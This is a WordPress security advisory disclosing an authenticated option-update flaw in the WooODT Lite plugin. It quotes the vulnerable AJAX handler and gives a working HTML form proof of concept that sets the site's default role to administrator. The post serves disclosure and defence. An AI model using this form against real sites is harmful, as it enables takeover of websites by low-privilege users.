One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. We don’t have time to review everything that is flagged by that. As one piece of code flagged, which we only got a chance to look into 13 months after it was introduced in to a plugin, shows, it doesn’t look like much of anyone else is joining us in doing that type of monitoring. That code turned out to cause a vulnerability that would allow an attacker with access to an account on the website, even a low level account, to take over the website. Unsurprisingly, that is a type of vulnerability that hackers are known to exploit. The vulnerability is in the plugin WooODT Lite.

As is often the case with plugins with serious vulnerabilities, the plugin extends the popular eCommerce plugin WooCommerce. Despite being used on websites with additional security risk and probably more money tied to them, it doesn’t appear those plugins are getting reasonable security scrutiny. If anyone is looking to have that happen for a WordPress plugin they use, we can do a security review.

We run all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.

The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.

We tested and confirmed that our firewall plugin for WordPress protected against the type of exploitation of this vulnerability shown in the proof of concept, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.

Authenticated Option Update Vulnerability

In the plugin’s main file, the function byconsolewooodt_admin_fields_setting_files() is registered to be accessible to anyone logged in to WordPress:

3644

add_action("wp_ajax_byconsolewooodt_admin_fields_setting_files" , "byconsolewooodt_admin_fields_setting_files");

That function doesn’t do any security checks before allowing an arbitrary WordPress option specified by user input to be updated to a value also specified by user input:

3646
3647
3648
3649
3650
3651
3652
3653
3654
3655
3656
3657
3658

function byconsolewooodt_admin_fields_setting_files(){
 
	global $wpdb;
 
	global $woocommerce;	
 
    //echo json_encode($_POST);
 
	$bycwooodt_admin_fields = $_POST['bycwooodt_admin_fields'];	
 
	$_POST['bycwooodt_admin_fields_val_array'];
 
	update_option($bycwooodt_admin_fields, $_POST['bycwooodt_admin_fields_val_array'] );

The plugin really shouldn’t have code even close to that in it. Code for updating settings should limit what can be updated and the new values should be sanitized and or validated. There also should be a capabilities check to limit who has access and a nonce check to prevent cross-site request forgery (CSRF).

An attacker with access to a WordPress account can update WordPress settings so that new users can be created and they have the Administrator role (as the proof of concept below confirms is possible to do).

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will change the default role for new users to Administrator, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=byconsolewooodt_admin_fields_setting_files" method="POST">
<input type="hidden" name="bycwooodt_admin_fields" value="default_role" />
<input type="hidden" name="bycwooodt_admin_fields_val_array" value="administrator" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?